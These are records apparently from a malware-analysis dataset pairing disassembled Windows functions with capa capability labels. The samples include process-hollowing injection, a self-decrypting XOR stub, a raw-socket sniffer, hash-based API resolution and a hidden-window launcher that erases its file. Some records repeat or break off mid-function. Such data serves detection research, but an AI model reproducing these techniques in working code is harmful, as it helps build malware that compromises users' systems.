joyce8/EMBER2024-capa huggingface dataset:
Function at 0x937050
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x992014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call 0x8509c6
nop
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x937239
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x937239
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00964000
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call 0x3a0810
nop
test eax, eax
je 0x937239
push 4
push 0x1000
push 4
push 0
call 0x850296
nop
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call 0x3a01ee
nop
test eax, eax
je 0x937239
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x988d48
push dword [esp + 0x30]
call 0x850a79
nop
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x93715c
push 0x988d4c
push 0x988d64
call 0x5b0d11
nop
push eax
call 0x3a0379
nop
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call 0x3a0417
nop
mov dword [esp + 0x14], eax
test eax, eax
je 0x937239
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call 0x8508b6
nop
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x9371f3
mov dword [esp + 0xc], eax
call fcn.00936ea0
push eax
call 0x5b0c6c
nop
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call 0x8508b6
nop
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x9371a2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call 0x8508b6
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call 0x3a0b85
nop
push dword [esp + 0x24]
call 0x5b0d84
nop
push 0x8000
push 0
push esi
call 0x8507fd
nop
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.0094cef4
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4483c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4483ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4483ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40271c
Capabilities:
Create raw socket
Create thread
Create udp socket
Get hostname
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
push ebx
push esi
push edi
push 0
push 3
mov esi, ecx
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xc], eax
je 0x40280f
lea eax, [ebp - 0x144]
push 0x100
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x40280f
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
mov eax, dword [ebp + 8]
push eax
mov dword [esi + 0x10], eax
mov word [ebp - 0x1c], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1a], ax
movsx eax, word [edi + 0xa]
push eax
mov eax, dword [edi + 0xc]
push dword [eax]
lea eax, [ebp - 0x18]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x1c]
push 0x10
push eax
push dword [esi + 0xc]
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x40280f
push 1
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
pop ebx
lea eax, [ebp - 4]
push 4
push eax
push 4
push 0xffff
push dword [esi + 0xc]
mov dword [ebp - 4], ebx
call edi
lea eax, [ebp - 4]
push 4
push eax
push 2
push 0
mov dword [ebp - 4], ebx
push dword [esi + 0xc]
call edi
cmp eax, 0xffffffff
je 0x40280f
xor edi, edi
lea eax, [ebp - 0xc]
push edi
push edi
push eax
lea eax, [ebp - 0x44]
push 0x28
push eax
lea eax, [ebp - 8]
push 4
push eax
push 0x98000001
push dword [esi + 0xc]
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
jne 0x402817
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x402848
push edi
push edi
push esi
push 0x4026b0
push edi
push edi
mov byte [esi + 8], bl
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
mov dword [esi + 4], eax
jne 0x402846
push dword [esi + 0xc]
and byte [esi + 8], 0
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
mov dword [esi + 0xc], eax
jmp 0x402848
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40284f
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 4]
and byte [esi + 8], 0
test eax, eax
je 0x402873
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi + 4], 0
mov esi, dword [esi + 0xc]
test esi, esi
je 0x402881
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x410f90
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4f081c]
sub esp, 0x10
push ebx
push esi
push edi
test eax, eax
jne 0x411030
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov edi, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], edi
nop dword [eax]
movzx edx, word [edi + 0x2c]
xor esi, esi
mov eax, dword [edi + 0x30]
xor ebx, ebx
shr edx, 1
mov dword [ebp - 4], 0x811c9dc5
lea ecx, [eax + edx*2]
cmp eax, ecx
cmova edx, esi
mov dword [ebp - 0xc], edx
test edx, edx
je 0x411017
mov edi, edx
mov dl, byte [eax]
lea eax, [eax + 2]
movsx esi, dl
sub dl, 0x41
mov ecx, esi
or ecx, 0x20
cmp dl, 0x19
cmova ecx, esi
inc ebx
xor ecx, dword [ebp - 4]
imul ecx, ecx, 0x1000193
mov dword [ebp - 4], ecx
cmp ebx, edi
jne 0x410fe5
mov edi, dword [ebp - 8]
cmp ecx, 0xa3e6f6c3
je 0x411037
mov eax, dword [edi]
mov edi, eax
mov dword [ebp - 8], eax
cmp eax, dword [ebp - 0x10]
je 0x411029
cmp dword [edi + 0x18], 0
jne 0x410fc0
xor eax, eax
mov dword [0x4f081c], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x18]
pop edi
pop esi
mov dword [0x4f081c], eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x411050
Capabilities:
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x4f07e8]
mov edx, ecx
mov dword [ebp - 0x10], edx
test eax, eax
jne 0x4110fb
test edx, edx
jne 0x411077
xor eax, eax
mov dword [0x4f07e8], eax
mov esp, ebp
pop ebp
ret
mov eax, dword [edx + 0x3c]
mov ecx, dword [eax + edx + 0x78]
mov eax, dword [eax + edx + 0x7c]
mov dword [ebp - 8], eax
lea eax, [ecx + edx]
mov dword [ebp - 8], eax
invalid
Function at 0x411840
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword fs:[0x30]
xor edx, edx
push ebx
push esi
push edi
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], edx
mov dword [ebp - 8], 0x50e932b8
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x2c]
mov edi, dword [eax + 0x30]
add ecx, 0xfffffff8
mov dword [ebp - 0x10], eax
test edx, edx
je 0x4118c6
movzx edx, cx
xor ebx, ebx
shr edx, 1
mov esi, 0x811c9dc5
mov dword [ebp - 0xc], esi
lea ecx, [edi + edx*2]
cmp edi, ecx
cmova edx, ebx
mov dword [ebp - 0x14], edx
test edx, edx
je 0x4118bb
mov eax, edx
mov dl, byte [edi]
lea edi, [edi + 2]
movsx esi, dl
sub dl, 0x41
mov ecx, esi
or ecx, 0x20
cmp dl, 0x19
cmova ecx, esi
inc ebx
xor ecx, dword [ebp - 0xc]
imul esi, ecx, 0x1000193
mov dword [ebp - 0xc], esi
cmp ebx, eax
jne 0x411891
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
cmp esi, edx
jne 0x4119f4
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x18], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0xc], ecx
cmp ecx, esi
je 0x4119f1
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x4119f1
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
sub ecx, 4
dec edx
mov dword [ebp - 0x10], ecx
mov edi, 0x811c9dc5
mov dword [ebp - 0x14], edx
mov ecx, dword [ecx]
add ecx, esi
mov bl, byte [ecx]
inc ecx
test bl, bl
je 0x41193b
movsx esi, bl
lea ecx, [ecx + 1]
sub bl, 0x41
mov edx, esi
or edx, 0x20
cmp bl, 0x19
mov bl, byte [ecx - 1]
cmova edx, esi
xor edx, edi
imul edi, edx, 0x1000193
test bl, bl
jne 0x411912
mov edx, dword [ebp - 0x14]
mov esi, dword [eax + 0x18]
cmp edi, dword [ebp - 8]
je 0x411951
mov ecx, dword [ebp - 0x10]
test edx, edx
jne 0x4118f8
mov edx, dword [ebp - 4]
mov eax, dword [eax]
jmp CreateProcessW
mov edi, dword [ebp - 0xc]
mov eax, dword [edi + 0x24]
lea eax, [eax + edx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + esi]
add edx, esi
cmp edx, edi
jbe 0x4119fb
mov eax, dword [ebp - 0x18]
add eax, edi
cmp edx, eax
jae 0x4119fb
mov bl, byte [edx]
mov edi, 0x811c9dc5
mov dword [ebp - 4], edi
mov esi, edi
mov dword [ebp - 8], esi
cmp bl, 0x2e
je 0x4119b7
movsx ecx, bl
sub bl, 0x41
mov eax, ecx
or eax, 0x20
cmp bl, 0x19
mov bl, byte [edx + 1]
cmova eax, ecx
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp bl, 0x2e
jne 0x411992
mov dword [ebp - 4], edi
mov bl, byte [edx + 1]
inc edx
test bl, bl
je 0x4119e5
nop
movsx ecx, bl
lea edx, [edx + 1]
sub bl, 0x41
mov eax, ecx
or eax, 0x20
cmp bl, 0x19
mov bl, byte [edx]
cmova eax, ecx
xor eax, esi
imul esi, eax, 0x1000193
test bl, bl
jne 0x4119c0
mov dword [ebp - 8], esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [eax]
jmp 0x411861
pop edi
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x450480
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
mov ebx, dword [0x4f07c4]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xd8], 0xfd8256d0
mov dword [ebp - 0xd4], 0x11cefd15
mov dword [ebp - 0xd0], 0x6002c4ab
mov dword [ebp - 0xcc], 0x53759e8c
push esi
push edi
test ebx, ebx
jne 0x450561
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop
Function at 0x45e8a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd20
push ebx
mov ebx, ecx
mov dword [ebp - 0x150], edx
mov ecx, dword [0x4f07ac]
xor eax, eax
mov dword [ebp - 0x148], ebx
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x3cc], 0x730025
mov dword [ebp - 0x3c8], 0x2a005c
mov word [ebp - 0x3c4], ax
push esi
push edi
test ecx, ecx
jne 0x45e8f8
call fcn.00411d90
mov ecx, eax
mov dword [0x4f07ac], ecx
mov eax, dword [0x4f07b8]
test eax, eax
jne 0x45e90b
call fcn.00411e30
mov dword [0x4f07b8], eax
push ebx
lea ecx, [ebp - 0x3cc]
push ecx
lea ecx, [ebp - 0xd1c]
push ecx
call eax
mov eax, dword [0x4f081c]
add esp, 0xc
test eax, eax
jne 0x45e932
call fcn.00411a10
mov dword [0x4f081c], eax
mov ecx, dword [0x4f8be4]
test ecx, ecx
jne 0x45e94b
mov ecx, eax
call fcn.00413de0
mov ecx, eax
mov dword [0x4f8be4], ecx
push 0
push 0
push 0
lea eax, [ebp - 0x8fc]
push eax
push 0
lea eax, [ebp - 0xd1c]
push eax
call ecx
mov ebx, eax
mov dword [ebp - 0x14], ebx
cmp ebx, 0xffffffff
je 0x4612d2
mov dword [ebp - 0x51c], 0x730025
xor eax, eax
mov dword [ebp - 0x518], 0x25005c
mov dword [ebp - 0x514], 0x73
Function at 0x4b1a30
Capabilities:
Authenticate hmac
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x69c
mov dword [ebp - 0xc], 0x80004005
mov dword [ebp - 0x584], 0
mov dword [ebp - 0x594], 0
mov dword [ebp - 0x598], 0
mov dword [ebp - 0x59c], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], 0
lea eax, [ebp - 0x5a6]
mov dword [ebp - 8], eax
mov ecx, 1
imul edx, ecx, 0
mov al, byte [edx + 0x4030dc]
mov byte [ebp - 0x60], al
push 0x44
mov ecx, dword [ebp - 8]
call fcn.00415ef0
movsx ecx, al
movsx edx, byte [ebp - 0x60]
add edx, ecx
mov eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, 1
shl ecx, 0
mov dl, byte [ecx + 0x4030dc]
mov byte [ebp - 0x64], dl
push 0x44
mov ecx, dword [ebp - 8]
call fcn.00415ef0
movsx eax, al
movsx ecx, byte [ebp - 0x64]
add ecx, eax
mov edx, dword [ebp - 8]
mov byte [edx + 1], cl
mov eax, 1
shl eax, 1
mov cl, byte [eax + 0x4030dc]
mov byte [ebp - 0x68], cl
push 0x44
mov ecx, dword [ebp - 8]
call fcn.00415ef0
movsx edx, al
movsx eax, byte [ebp - 0x68]
add eax, edx
mov ecx, dword [ebp - 8]
mov byte [ecx + 2], al
mov edx, 1
imul eax, edx, 3
mov cl, byte [eax + 0x4030dc]
mov byte [ebp - 0x10], cl
push 0x44
mov ecx, dword [ebp - 8]
call fcn.00415ef0
movsx edx, al
movsx eax, byte [ebp - 0x10]
add eax, edx
mov ecx, dword [ebp - 8]
mov byte [ecx + 3], al
mov edx, 1
shl edx, 2
mov al, byte [edx + 0x4030dc]
mov byte [ebp - 0x14], al
push 0x44
mov ecx, dword [ebp - 8]
call fcn.00415ef0
movsx ecx, al
movsx edx, byte [ebp - 0x14]
add edx, ecx
mov eax, dword [ebp - 8]
mov byte [eax + 4], dl
mov ecx, 1
imul edx, ecx, 5
mov al, byte [edx + 0x4030dc]
mov byte [ebp - 0x18], al
push 0x44
mov ecx, dword [ebp - 8]
call fcn.00415ef0
movsx ecx, al
movsx edx, byte [ebp - 0x18]
add edx, ecx
mov eax, dword [ebp - 8]
mov byte [eax + 5], dl
mov ecx, 1
imul edx, ecx, 6
mov al, byte [edx + 0x4030dc]
mov byte [ebp - 0x1c], al
push 0x44
mov ecx, dword [ebp - 8]
call fcn.00415ef0
movsx ecx, al
movsx edx, byte [ebp - 0x1c]
add edx, ecx
mov eax, dword [ebp - 8]
mov byte [eax + 6], dl
mov ecx, 1
imul edx, ecx, 7
mov al, byte [edx + 0x4030dc]
mov byte [ebp - 0x20], al
push 0x44
mov ecx, dword [ebp - 8]
call fcn.00415ef0
movsx ecx, al
movsx edx, byte [ebp - 0x20]
add edx, ecx
Function at 0x419952c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf4
push ebx
xor edx, edx
mov dword [ebp - 0x208], edx
mov dword [ebp - 0x20c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x41995dc
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xff
lea eax, [ebp - 0x101]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea edx, [ebp - 0x20c]
lea eax, [ebp - 0x101]
call sub.VCL30.dpl_SysUtils.StrPas_B7CE3C1C
push dword [ebp - 0x20c]
push 0x41995f0
push 0x41995fc
push 0x4199610
lea eax, [ebp - 0x208]
mov edx, 4
call sub.VCL30.dpl_System._LStrCatN_51F89FF7
mov edx, dword [ebp - 0x208]
lea eax, [ebp - 0x201]
mov ecx, 0xff
call sub.VCL30.dpl_System._LStrToString_51F89FF7
mov eax, ebx
lea edx, [ebp - 0x201]
call sub.VCL30.dpl_System._PStrCpy_51F89FF7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41995e3
lea eax, [ebp - 0x20c]
mov edx, 2
call sub.VCL30.dpl_System._LStrArrayClr_51F89FF7
ret

Function at 0x41996e4
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff8f8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x708], ebx
mov esi, ecx
lea edi, [ebp - 0x300]
xor ecx, ecx
mov cl, byte [esi]
inc ecx
rep movsb byte es:[edi], byte [esi]
mov esi, edx
lea edi, [ebp - 0x200]
xor ecx, ecx
mov cl, byte [esi]
inc ecx
rep movsb byte es:[edi], byte [esi]
mov esi, eax
lea edi, [ebp - 0x100]
xor ecx, ecx
mov cl, byte [esi]
inc ecx
rep movsb byte es:[edi], byte [esi]
mov ebx, dword [ebp + 8]
xor eax, eax
push ebp
push 0x4199829
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x41ff02c], 0
je 0x419975c
push ebx
lea ecx, [ebp - 0x300]
lea edx, [ebp - 0x200]
lea eax, [ebp - 0x100]
call fcn.0419932c
jmp 0x4199810
lea eax, [ebp - 0x708]
lea edx, [ebp - 0x100]
call sub.VCL30.dpl_System._LStrFromString_EF219F52
mov edx, dword [ebp - 0x708]
lea eax, [ebp - 0x401]
call sub.VCL30.dpl_SysUtils.StrPCopy_17A29F31
lea eax, [ebp - 0x708]
lea edx, [ebp - 0x200]
call sub.VCL30.dpl_System._LStrFromString_EF219F52
mov edx, dword [ebp - 0x708]
lea eax, [ebp - 0x502]
call sub.VCL30.dpl_SysUtils.StrPCopy_17A29F31
lea eax, [ebp - 0x708]
lea edx, [ebp - 0x300]
call sub.VCL30.dpl_System._LStrFromString_EF219F52
mov edx, dword [ebp - 0x708]
lea eax, [ebp - 0x603]
call sub.VCL30.dpl_SysUtils.StrPCopy_17A29F31
push 0x4200104
push 0x101
lea eax, [ebp - 0x704]
push eax
lea eax, [ebp - 0x603]
push eax
lea eax, [ebp - 0x502]
push eax
lea eax, [ebp - 0x401]
push eax
call sub.kernel32.dll_GetPrivateProfileStringA
lea edx, [ebp - 0x708]
lea eax, [ebp - 0x704]
call sub.VCL30.dpl_SysUtils.StrPas_B7CE3C1C
mov edx, dword [ebp - 0x708]
mov eax, ebx
mov ecx, 0xff
call sub.VCL30.dpl_System._LStrToString_51F89FF7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4199830
lea eax, [ebp - 0x708]
call sub.VCL30.dpl_System._LStrClr_40929B27
ret
Function at 0x41b6df0
Capabilities:
Create process on windows
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffad8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x428], ebx
mov esi, edx
lea edi, [ebp - 0x408]
push ecx
xor ecx, ecx
mov cl, byte [esi]
inc ecx
rep movsb byte es:[edi], byte [esi]
pop ecx
mov esi, eax
lea edi, [ebp - 0x308]
push ecx
xor ecx, ecx
mov cl, byte [esi]
inc ecx
rep movsb byte es:[edi], byte [esi]
pop ecx
mov ebx, ecx
xor eax, eax
push ebp
push 0x41b6ff6
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.04197ae0
lea ecx, [ebp - 0x201]
lea edx, [ebp - 0x408]
lea eax, [ebp - 0x308]
call fcn.041b6b44
movzx eax, bx
push eax
lea eax, [ebp - 0x428]
lea edx, [ebp - 0x201]
call sub.VCL30.dpl_System._LStrFromString_EF219F52
mov edx, dword [ebp - 0x428]
lea eax, [ebp - 0x101]
call sub.VCL30.dpl_SysUtils.StrPCopy_17A29F31
push eax
call sub.kernel32.dll_WinExec
mov ebx, eax
push 0
push 0x190
push 0x64
mov eax, dword [sym.imp.VCL30.dpl_Forms.Application_E55EEEF8]
mov eax, dword [eax]
mov eax, dword [eax + 0x2c]
call sub.VCL30.dpl_Controls.TWinControl.GetHandle_23EDC2EF
push eax
call sub.user32.dll_SetTimer
mov esi, eax
xor eax, eax
mov dword [ebp - 0x208], eax
push ebp
lea eax, [ebp - 0x528]
call fcn.041b6d6c
pop ecx
lea edx, [ebp - 0x528]
mov eax, 1
call fcn.04197cf8
mov edx, 0x41b7004
mov eax, 2
call fcn.04197cf8
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x424]
push eax
call sub.user32.dll_PeekMessageA
test eax, eax
je 0x41b6ed4
mov eax, dword [ebp - 0x420]
cmp eax, 0x200
jl 0x41b6f07
cmp eax, 0x20a
jg 0x41b6f07
call sub.CSRTL.dpl_Rt_Util.InitProcess_51F89FF7
jmp 0x41b6ed4
mov eax, dword [ebp - 0x420]
cmp eax, 0xa0
jl 0x41b6f22
cmp eax, 0xa9
jg 0x41b6f22
call sub.CSRTL.dpl_Rt_Util.InitProcess_51F89FF7
jmp 0x41b6ed4
cmp eax, 0x113
jne 0x41b6f6e
mov eax, ebx
call sub.CSRTL.dpl_Rt_Util.GetModuleUsage_DB882642
test eax, eax
jne 0x41b6f4c
push esi
push 0
call sub.user32.dll_KillTimer
lea eax, [ebp - 0x201]
call sub.CSRTL.dpl_Rt_Util.EraseFile_D9B28279
jmp 0x41b6fdd
push ebp
lea eax, [ebp - 0x528]
call fcn.041b6d6c
pop ecx
lea edx, [ebp - 0x528]
mov eax, 1
call fcn.04197cf8
jmp 0x41b6ed4
mov eax, dword [ebp - 0x420]
cmp eax, 0x100
je 0x41b6f82
cmp eax, 0x104
jne 0x41b6fbe
mov eax, dword [ebp - 0x41c]
cmp eax, 0x53
jne 0x41b6fa1
push 5
push ebp
call fcn.041b6ce8
pop ecx
push eax
call sub.user32.dll_ShowWindow
jmp 0x41b6ed4
cmp eax, 0x48
jne 0x41b6ed4
push 0
push ebp
call fcn.041b6ce8
pop ecx
push eax
call sub.user32.dll_ShowWindow
jmp 0x41b6ed4
cmp eax, 0xf
jne 0x41b6ed4
mov eax, dword [ebp - 0x424]
push eax
call sub.user32.dll_UpdateWindow
jmp 0x41b6ed4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41b6ffd
lea eax, [ebp - 0x428]
call sub.VCL30.dpl_System._LStrClr_40929B27
ret
Function at 0x41d7de8
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x41d7e5d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xff
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetComputerNameA
lea edx, [ebp - 0x10c]
lea eax, [ebp - 0x105]
call sub.VCL30.dpl_SysUtils.StrPas_B7CE3C1C
mov edx, dword [ebp - 0x10c]
mov eax, ebx
mov ecx, 0xff
call sub.VCL30.dpl_System._LStrToString_51F89FF7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41d7e64
lea eax, [ebp - 0x10c]
call sub.VCL30.dpl_System._LStrClr_40929B27
ret

Function at 0x41d849c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf8
push ebx
xor edx, edx
mov dword [ebp - 0x208], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x41d852e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x101]
push eax
push 0xff
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x202]
push eax
push 0
push 0x41d853c
lea eax, [ebp - 0x101]
push eax
call sub.kernel32.dll_GetTempFileNameA
test eax, eax
je 0x41d8512
lea edx, [ebp - 0x208]
lea eax, [ebp - 0x202]
call sub.VCL30.dpl_SysUtils.StrPas_B7CE3C1C
mov edx, dword [ebp - 0x208]
mov eax, ebx
mov ecx, 0xff
call sub.VCL30.dpl_System._LStrToString_51F89FF7
jmp 0x41d8515
mov byte [ebx], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41d8535
lea eax, [ebp - 0x208]
call sub.VCL30.dpl_System._LStrClr_40929B27
ret

Function at 0x41debc0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
xor edx, edx
mov dword [ebp - 0x108], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x41dec35
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xff
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.kernel32.dll_GetComputerNameA
lea edx, [ebp - 0x108]
lea eax, [ebp - 0x104]
call sub.VCL30.dpl_SysUtils.StrPas_B7CE3C1C
mov edx, dword [ebp - 0x108]
mov eax, ebx
mov ecx, 0xff
call sub.VCL30.dpl_System._LStrToString_51F89FF7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41dec3c
lea eax, [ebp - 0x108]
call sub.VCL30.dpl_System._LStrClr_40929B27
ret
Function at 0x41decbc
Capabilities:
Create mailslot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcfc
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x204], ecx
mov esi, edx
lea edi, [ebp - 0x100]
xor ecx, ecx
mov cl, byte [esi]
inc ecx
rep movsb byte es:[edi], byte [esi]
mov esi, eax
xor eax, eax
push ebp
push 0x41ded6b
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov edx, 0x41ded7c
lea eax, [ebp - 0x304]
call sub.VCL30.dpl_System._PStrCpy_51F89FF7
lea edx, [ebp - 0x100]
lea eax, [ebp - 0x304]
call sub.VCL30.dpl_System._PStrCat_51F89FF7
lea edx, [ebp - 0x304]
lea eax, [ebp - 0x204]
call sub.VCL30.dpl_System._LStrFromString_EF219F52
mov edx, dword [ebp - 0x204]
lea eax, [ebp - 0x200]
call sub.VCL30.dpl_SysUtils.StrPCopy_17A29F31
push 0
